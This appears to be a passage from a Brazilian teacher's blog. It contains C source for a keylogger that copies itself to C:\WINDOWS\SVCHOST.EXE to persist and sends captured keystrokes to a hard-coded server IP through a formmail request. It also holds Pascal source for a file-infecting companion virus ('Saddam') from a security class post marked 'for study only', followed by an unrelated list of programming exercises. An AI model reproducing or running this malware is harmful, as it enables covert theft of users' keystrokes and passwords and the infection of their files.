CopyFile(caminho_copia,"C:\\WINDOWS\\SVCHOST.EXE", 0); //Copia o keylogger para C:\WINDOWS\SVCHOST.EXE, cujo programa é acionado ao iniciar do windows.

while(1){ //Loop

Sleep(1); //Pausa para o LOOP não travar.

strtam=strlen(teclas); //Captura o número dos carecteres digitados
if(strtam>=envia_tam) //Compara se o número é maior ou igual ao especificado em "envia_tam"
{
//Caso afirmativo:

//Prepara socket
sock.sin_family=AF_INET;
sock.sin_addr.S_un.S_addr = inet_addr(200.201.8.45"); //IP do servidor
sock.sin_port=htons(80);

/* A linha abaixo é muito importante.
Essa linha ao ser enviada para o servidor,
fará com que você receba o email com o log.
Preste muita atenção ao lidar com ela:
*/
sprintf(enviar,"GET /%s?de=%s&para=%s&assunto=%s&msg=%s HTTP/1.1\nHost:fmail9.uol.com.br\n\n",FORMMAIL,de,para, assunto,teclas);

if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR) //Caso haja erro, interrompe o programa.
exit(0);

//Conecta ao servidor
if(connect(winsock,(sockaddr*)&sock,sizeof(sock))! =SOCKET_ERROR){

send(winsock,enviar,strlen(enviar),0); //Envia para o servidor uma requisição ao formmail para que este envie o log.

//Limpa as variáveis que armazenam as teclas digitadas.
sprintf(teclas,"");
sprintf(teclas_aux,"");

}
else{
exit(0); //Erro ao conectar, resulta na saída do programa.
}}

//Daqui em diante começa o código responsável pela obtençãp e gravação das teclas.


if(GetAsyncKeyState(0x8)==-32767){ //Tecla BackSpace, copia para uma variável auxiliar os caracteres digitados com 1 caractere a menos, e em seguida recopia o conteúdo para a variável principal.
if(strlen(teclas)>0)
strncpy(teclas_aux,teclas,strlen(teclas)-1);
strcpy(teclas,teclas_aux);
sprintf(teclas_aux,"%c",0);}

//Tecla Enter, adiciona na string: %0A, que é o caractere da tecla ENTER em modo escape, utilizando para o envio de email via PHP.
if(GetAsyncKeyState(0xD)==-32767){
strcat(teclas,"%0A");
}
//Verifica o pressionamento da tecla SHIFT e chama pela função adequada.
if(GetAsyncKeyState(0x10))
logar_shift();
//Tecla de espaço, novamente, %20 é o caractere escape da tecla SPACE.
if(GetAsyncKeyState(0x20)==-32767)
strcat(teclas,"%20");
//Verifica o CAPS LOCK
caps = GetKeyState(0x14);
switch(caps)
{
case 0:
logar_normal(); //Se caps lock estiver desligado
break;
case 1:
logar_caps(); //Se logado
}

for(num=48;num<=57;num++) //Loga números
if(GetAsyncKeyState(num)==-32767)
sprintf(teclas,"%s%c",teclas,num);

//Loga outros caracteres.
if(GetAsyncKeyState(106)==-32767)
sprintf(teclas,"%s*",teclas);

if(GetAsyncKeyState(107)==-32767)
sprintf(teclas,"%s+",teclas);

if(GetAsyncKeyState(109)==-32767)
sprintf(teclas,"%s-",teclas);

if(GetAsyncKeyState(110)==-32767)
sprintf(teclas,"%s.",teclas);

if(GetAsyncKeyState(111)==-32767)
sprintf(teclas,"%s/",teclas);

if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s;",teclas);

if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s=",teclas);

if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s,",teclas);

if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s-",teclas);

if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s.",teclas);

if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s/",teclas);

if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s`",teclas);

if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s[",teclas);

if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s%c",teclas,220);

if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s]",teclas);

if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s'",teclas);

//Loga teclado númerico. (0123...9 +*/-.)
for(num2=96;num2<=105;num2++)
if(GetAsyncKeyState(num2)==-32767)
sprintf(teclas,"%s%c",teclas,num2-48 );

}
return 0;
}

//Loga quando SHIFT for pressionado.
void logar_shift()
{
for(s=48;s<=57;s++)
if(GetAsyncKeyState(s)==-32767)
switch(s)
{
//Loga símbolos, note que alguns símbolos só são aceitos se estiverem em modo escape.
case 48:
sprintf(teclas,"%s)",teclas);
break;

case 49:
sprintf(teclas,"%s!",teclas);
break;

case 50:
sprintf(teclas,"%s@",teclas);
break;
case 51:
sprintf(teclas,"%s%%23",teclas);
break;
case 52:
sprintf(teclas,"%s%%24",teclas);
break;
case 53:
sprintf(teclas,"%s%%25",teclas);
break;
case 54:
sprintf(teclas,"%s%%5E",teclas);
break;
case 55:
sprintf(teclas,"%s%%26",teclas);
break;
case 56:
sprintf(teclas,"%s*",teclas);
break;
case 57:
sprintf(teclas,"%s(",teclas);
break;

}
//Na mesma função do SHIFT, verifica se CAPSLOCK está ligado ou desligado
switch(caps)
{
case 0: //Se desligado,loga letras em maiúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s);
break;

case 1: //Se ligado, loga letrs em minúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s+32);
}
//Outros símbolos combinados com SHIFT.
if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s:",teclas);

if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s+",teclas);

if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s<",teclas);

if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s_",teclas);

if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s>",teclas);

if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s?",teclas);

if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s~",teclas);

if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s{",teclas);

if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s|",teclas);

if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s}",teclas);

if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s\"",teclas);


}
//Loga quando CAPSLOCK estiver ligado
void logar_caps()
{
for(c=65;c<=90;c++)
if(GetAsyncKeyState(c)==-32767)
sprintf(teclas,"%s%c",teclas,c);

}

void logar_normal() //Loga quando nem SHIFT nem CAPSLOCK estiverem sendo usados.
{
for(n=65;n<=90;n++)
if(GetAsyncKeyState(n)==-32767)
sprintf(teclas,"%s%c",teclas,n+32);
"

}

Segurança da Informação - Aula 28/11/2011 (Propagação de Vírus)

Propagação de Vírus

Este arquivo tem o propósito de estudo de vírus apenas! Será muito útil para aprender como os virus funcionam e se propagam. Mas qualquer um com conhecimentos de Assembler pode torná-lo em virus funcional e qualquer um com um pouco de experiência de codificação Assembly pode torná-lo em programa mais perigoso que ele já é. Mantenha esse código apenas para estudo!

O programa abaixo está em linguagem Pascal.

Program Saddam;

{$M 10000,0,0}

Uses DOS;

Var
  DriveID : String [2];
  Buffer : Array [1..8000] Of Byte;
  Target,Source : File;
  Infected : Byte;
  Done : Word;
  TargetFile : String;

(*?????????????????????????????????????????????????????????????????????????*)

Function ExistCom : Boolean;
Var
  FindCom : SearchRec;
Begin
  FindFirst ( TargetFile, 39, FindCom );
  ExistCom := DosError = 0;
End;

(*?????????????????????????????????????????????????????????????????????????*)

Procedure SearchDir ( Dir2Search : String );
Var
   S : SearchRec;

Begin
    If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
        Dir2Search := Dir2Search + '\';

    FindFirst ( Dir2Search + '*.exe', 39, S );

    While DosError = 0 Do
    Begin
      TargetFile := Copy ( Dir2Search + S.Name,1,
      Length ( Dir2Search + S.Name ) -3 ) + 'com';

      If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
      Not ExistCom And ( Infected <> 25000 ) Then
      Begin
        {$i-}
        Inc ( Infected );
        Assign ( Target, TargetFile );
        Rewrite ( Target,1 );
        BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
        SetFTime ( Target, S.Time );
        Close ( Target );
        If IoResult = 101 Then
        Begin
            Infected := 3;
            Erase ( Target );
        End;

        {$i+}
      End;

      FindNext ( S );
  End;

  FindFirst ( Dir2Search + '*', Directory, S );

  If S.Name = '.' Then
  Begin
     FindNext ( S );
     FindNext ( S );
  End;

  If ( DosError = 0 ) And
  ( S.Attr And 16 <> 16 ) Then
      FindNext ( S );

  While DosError = 0 Do
  Begin
      If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then
          SearchDir ( Dir2Search + S.Name );
          FindNext ( S );
      End;
   End;


(*?????????????????????????????????????????????????????????????????????????*)

Begin
    DriveID := FExpand ( ParamStr ( 1 ));
    Infected := 0;

    Assign ( Source, ParamStr ( 0 ) );
    Reset ( Source, 1 );
    BlockRead ( Source, Buffer, 5000, Done );
    Close ( Source );

    Randomize;

    SearchDir ( DriveID );

    Exec ( Copy ( ParamStr ( 0 ),1,
    Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );
End.

quinta-feira, 24 de novembro de 2011

Introdução a Algoritmos - Aula 24/11/2011 (Trabalho Prático - 9 pontos - Entrega até 15/12/2011)


Trabalho Prático - 9 pontos - Entrega até 15/12/2011

Escolha um exercício pequeno (1, 4, 5 ou 7) e um grande (2, 3, 6 ou 8) e resolva em C/C++ usando o Dev-C++. Depois envie por e-mail somente os códigos-fontes (arquivos CPP).

1.    Maria quer saber quantos litros de gasolina precisa colocar em seu carro e quanto vai gastar para fazer uma viagem até a casa de sua irmã. Dados extras:
  • Distância da casa de Maria até sua irmã: 520 km
  • Seu carro consome um litro a cada 12 km rodado.
  • Ela abastece sempre no mesmo posto, onde o preço da gasolina é R$ 1,50 o litro.
2.    Faça um programa para ler a quantidade de consumo de água e calcular o valor da conta de água, considerando a seguinte tabela de gastos:

Cada m³
0 – 10
R$ 1,20
11 – 20
R$ 1,50
Acima de 20
R$ 2,00
 
3.  Faça um programa para ler a quantidade de consumo de energia calcular o valor da conta de energia elétrica de uma casa, considerando a tabela a seguir. A conta deve ser calculada proporcionalmente, ou seja, se o usuário gastou 55 kWh, ele pagará 50 kWh ao preço de R$ 1,00 e 5 ao preço de R$ 1,30.

kWh
Valor
0 – 50
R$ 1,00
51 – 100
R$ 1,30
101 - 150
R$ 1,60
Acima de 150
R$ 2.00

4.    Escreva um programa para calcular o reajuste salarial dos empregados de uma empresa, de acordo com os seguintes critérios:
  • Os funcionários com salário inferior a 1.000,00 devem ter um reajuste de 55%;
  • Funcionários com salário de 1.000,00 (inclusive) a 2.500,00 (inclusive) devem ter um reajuste de 33%;
  • Os funcionários com salário superior a 2.500,00 devem ter um reajuste de 20%;
5.  Faça um programa para somar os 100 primeiros números inteiros positivos pares e os 100 primeiros números inteiros positivos ímpares. Depois de somados escrever o resultado das duas somatórias. Faça agora a subtração da soma dos números pares pela soma dos números ímpares e a subtração da soma dos números ímpares pela soma dos números pares escrevendo o resultado das duas subtrações.
 
6.   Em uma adega tenho três tipos de vinhos para vender ou comprar que são: rosê, branco e tinto. Faça um programa que dê entrada ou saída nos vinhos lendo o tipo de movimento (venda ou compra), a quantidade dos vinhos e seus respectivos tipos. O estoque inicial de cada tipo é o seguinte: Vinho Rosê = 34 garrafas; Tinto = 86 garrafas e Branco = 33 garrafas. Quando receber em uma entrada a quantidade zerada para os três vinhos independente de ser compra ou venda, encerrar o programa escrevendo, o estoque de cada vinho. O percentual de cada um sobre o total de garrafas, o estoque maior e o estoque menor.
 
7.   Faça um programa que jogando um dado faça a somatória dos números apresentados até sair o número SEIS. Quando este número sair, acrescente-o a somatória e escreva o resultado da soma dos números.
 
8.     Faça um programa que receba o valor da mensalidade e a idade dos alunos de uma turma, até que seja informado um valor de mensalidade igual a zero. Após a digitação informe:
  • O valor médio da mensalidade;
  • A maior mensalidade;
  • A menor mensalidade;
  • O percentual de alunos com até de 20 anos;
  • A quantidade de alunos com idade superior a 20.

LinkWithin

Related Posts Plugin for WordPress, Blogger...

NOSSO OBJETIVO

OBJETIVO

Este blog será usado para divulgação de minhas ideias, notícias sobre tecnologia, disponibilização de links para download de materiais diversos (incluindo materiais didáticos -- que poderão ser usados em minhas aulas e/ou cursos). Gostaria de DEIXAR BEM CLARO que quaisquer materiais disponibilizados através deste blog são, tão somente, para acompanhamento de aulas e/ou cursos, e não constituem de modo algum, aulas na modalidade "ensino à distância" (EAD). Alunos têm total acesso aos materiais disponíveis, mas somente como tutoriais passo a passo. Apostilas disponibilizadas através deste blog não são materiais obrigatórios em disciplinas cursadas ou cursos ministrados.

RESPONSABILIDADE

O autor deste blog não é responsável pelo mau uso, intencional ou não, de qualquer código de programa disponibilizado aqui. Os códigos de programas disponíveis neste blog para download é e serão sempre, e tão somente, para uso didático durante o aprendizado. Seja bem-vindo.